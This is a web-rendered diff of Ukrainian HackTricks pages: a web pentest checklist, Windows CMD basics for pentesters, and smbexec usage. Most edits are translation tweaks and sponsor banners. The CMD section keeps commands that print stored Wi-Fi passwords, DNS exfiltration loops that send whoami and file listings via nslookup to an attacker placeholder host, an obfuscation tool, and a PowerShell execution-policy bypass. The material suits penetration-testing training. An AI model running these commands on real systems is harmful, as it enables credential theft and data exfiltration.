Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,14 +17,14 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця публікація призначена для того, щоб бути контрольним списком, щоб підтвердити, що ви шукали вразливості в усіх можливих місцях.
|
||||
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця публікація призначена як контрольний список, щоб підтвердити, що ви шукали вразливості в усіх можливих місцях.
|
||||
|
||||
## Проксі
|
||||
|
||||
|
@ -33,11 +33,11 @@
|
|||
{% endhint %}
|
||||
|
||||
* [ ] [**Зловживання заголовками hop-by-hop**](abusing-hop-by-hop-headers.md)
|
||||
* [ ] [**Отруєння кешу/Дезінформація кешу**](cache-deception/)
|
||||
* [ ] [**Отруєння кешу/Дезорієнтація кешу**](cache-deception/)
|
||||
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
||||
* [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
||||
* [ ] [**Включення на стороні сервера/Включення на стороні краю**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Викриття Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [ ] [**Виявлення Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [ ] [**Включення XSLT на стороні сервера**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
* [ ] [**Обхід захисту проксі / WAF**](proxy-waf-protections-bypass.md)
|
||||
|
||||
|
@ -60,10 +60,10 @@
|
|||
* [ ] [**Відкритий редирект**](open-redirect.md)
|
||||
* [ ] [**Забруднення прототипу до XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* [ ] [**Включення на стороні сервера/Включення на стороні краю**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Підробка запиту на стороні сервера**](ssrf-server-side-request-forgery/)
|
||||
* [ ] [**Підробка запитів на стороні сервера**](ssrf-server-side-request-forgery/)
|
||||
* [ ] [**Введення шаблону на стороні сервера**](ssti-server-side-template-injection/)
|
||||
* [ ] [**Зворотне табулювання**](reverse-tab-nabbing.md)
|
||||
* [ ] [**Введення XSLT на стороні сервера**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
* [ ] [**Включення XSLT на стороні сервера**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
* [ ] [**XSS**](xss-cross-site-scripting/)
|
||||
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||
* [ ] [**XS-Search**](xs-search/)
|
||||
|
@ -90,7 +90,7 @@
|
|||
Коли вебсокет надсилає повідомлення або форма дозволяє користувачам виконувати дії, можуть виникнути вразливості.
|
||||
|
||||
* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
|
||||
* [ ] [**Перехоплення WebSocket між сайтами (CSWSH)**](websocket-attacks.md)
|
||||
* [ ] [**Перехоплення WebSocket (CSWSH)**](websocket-attacks.md)
|
||||
* [ ] [**Вразливості PostMessage**](postmessage-vulnerabilities/)
|
||||
|
||||
### **HTTP Заголовки**
|
||||
|
@ -98,13 +98,13 @@
|
|||
В залежності від HTTP заголовків, наданих веб-сервером, можуть бути присутніми деякі вразливості.
|
||||
|
||||
* [ ] [**Clickjacking**](clickjacking.md)
|
||||
* [ ] [**Обхід політики безпеки вмісту**](content-security-policy-csp-bypass/)
|
||||
* [ ] [**Обхід політики безпеки контенту**](content-security-policy-csp-bypass/)
|
||||
* [ ] [**Злом Cookies**](hacking-with-cookies/)
|
||||
* [ ] [**CORS - Неправильні налаштування та обхід**](cors-bypass.md)
|
||||
|
||||
### **Обходи**
|
||||
|
||||
Є кілька специфічних функцій, де деякі обхідні рішення можуть бути корисними для їх обходу
|
||||
Є кілька специфічних функцій, де деякі обхідні рішення можуть бути корисними для їх обходу.
|
||||
|
||||
* [ ] [**Обхід 2FA/OTP**](2fa-bypass.md)
|
||||
* [ ] [**Обхід процесу оплати**](bypass-payment-process.md)
|
||||
|
@ -117,23 +117,23 @@
|
|||
|
||||
### **Структуровані об'єкти / Специфічні функції**
|
||||
|
||||
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (наприклад, об'єкт, серіалізований мовою або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\
|
||||
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (наприклад, Введення заголовків електронної пошти).
|
||||
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (наприклад, об'єкт, серіалізований мовою або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти дані такого типу.\
|
||||
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (наприклад, ін'єкції заголовків електронної пошти).
|
||||
|
||||
* [ ] [**Десеріалізація**](deserialization/)
|
||||
* [ ] [**Введення заголовка електронної пошти**](email-injections.md)
|
||||
* [ ] [**Ін'єкція заголовка електронної пошти**](email-injections.md)
|
||||
* [ ] [**Вразливості JWT**](hacking-jwt-json-web-tokens.md)
|
||||
* [ ] [**XML Зовнішня сутність**](xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Файли
|
||||
|
||||
Функції, які дозволяють завантажувати файли, можуть бути вразливими до кількох проблем.\
|
||||
Функції, які генерують файли, включаючи введення користувача, можуть виконувати непередбачуваний код.\
|
||||
Функції, які генерують файли, включаючи введення користувача, можуть виконувати непередбачений код.\
|
||||
Користувачі, які відкривають файли, завантажені користувачами або автоматично згенеровані, включаючи введення користувача, можуть бути скомпрометовані.
|
||||
|
||||
* [ ] [**Завантаження файлів**](file-upload/)
|
||||
* [ ] [**Введення формули**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [ ] [**Введення PDF**](xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**Ін'єкція формули**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [ ] [**Ін'єкція PDF**](xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**XSS на стороні сервера**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Зовнішнє управління ідентичністю**
|
||||
|
@ -153,9 +153,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Основи Win CMD для Пентестерів
|
||||
# Основи Win CMD для Pentesters
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Хакінг:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Хакінг: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,14 +10,14 @@
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте погляд хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -266,7 +266,7 @@ netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
|
|||
```
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
|
||||
```
|
||||
### Мережеві Інтерфейси
|
||||
### Мережеві інтерфейси
|
||||
```bash
|
||||
ipconfig /all
|
||||
```
|
||||
|
@ -334,7 +334,7 @@ who^ami #whoami
|
|||
```
|
||||
### DOSfuscation
|
||||
|
||||
Генерує обфускований CMD рядок
|
||||
Генерує обфусцировану CMD команду
|
||||
```powershell
|
||||
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
|
||||
cd Invoke-DOSfuscation
|
||||
|
@ -359,7 +359,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
|
|||
```
|
||||
#### Жертва
|
||||
|
||||
**`for /f tokens`** техніка: Це дозволяє нам виконувати команди, отримувати перші X слів з кожного рядка і відправляти їх через DNS на наш сервер
|
||||
**`for /f tokens`** техніка: Це дозволяє нам виконувати команди, отримувати перші X слів кожного рядка і відправляти їх через DNS на наш сервер
|
||||
```bash
|
||||
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
||||
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
||||
|
@ -369,7 +369,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_ka
|
|||
#More complex commands
|
||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
|
||||
```
|
||||
Ви також можете **перенаправити** вихід, а потім **прочитати** його.
|
||||
Ви також можете **перенаправити** вихідні дані, а потім **прочитати** їх.
|
||||
```
|
||||
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
||||
|
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -38,7 +38,7 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
|||
### Виконання команд без бінарних файлів
|
||||
|
||||
- **Smbexec** дозволяє безпосереднє виконання команд через binPaths сервісу, усуваючи необхідність у фізичних бінарних файлах на цілі.
|
||||
- Цей метод корисний для виконання одноразових команд на цільовій системі Windows. Наприклад, поєднання його з модулем `web_delivery` Metasploit дозволяє виконати зворотний Meterpreter payload, націлений на PowerShell.
|
||||
- Цей метод корисний для виконання одноразових команд на цільовій Windows системі. Наприклад, поєднання його з модулем `web_delivery` Metasploit дозволяє виконати зворотний Meterpreter payload, націлений на PowerShell.
|
||||
- Створивши віддалений сервіс на машині зловмисника з binPath, налаштованим для виконання наданої команди через cmd.exe, можна успішно виконати payload, досягнувши зворотного виклику та виконання payload з прослуховувачем Metasploit, навіть якщо виникають помилки у відповіді сервісу.
|
||||
|
||||
### Приклад команд
|
||||
|
@ -55,7 +55,7 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -71,7 +71,7 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue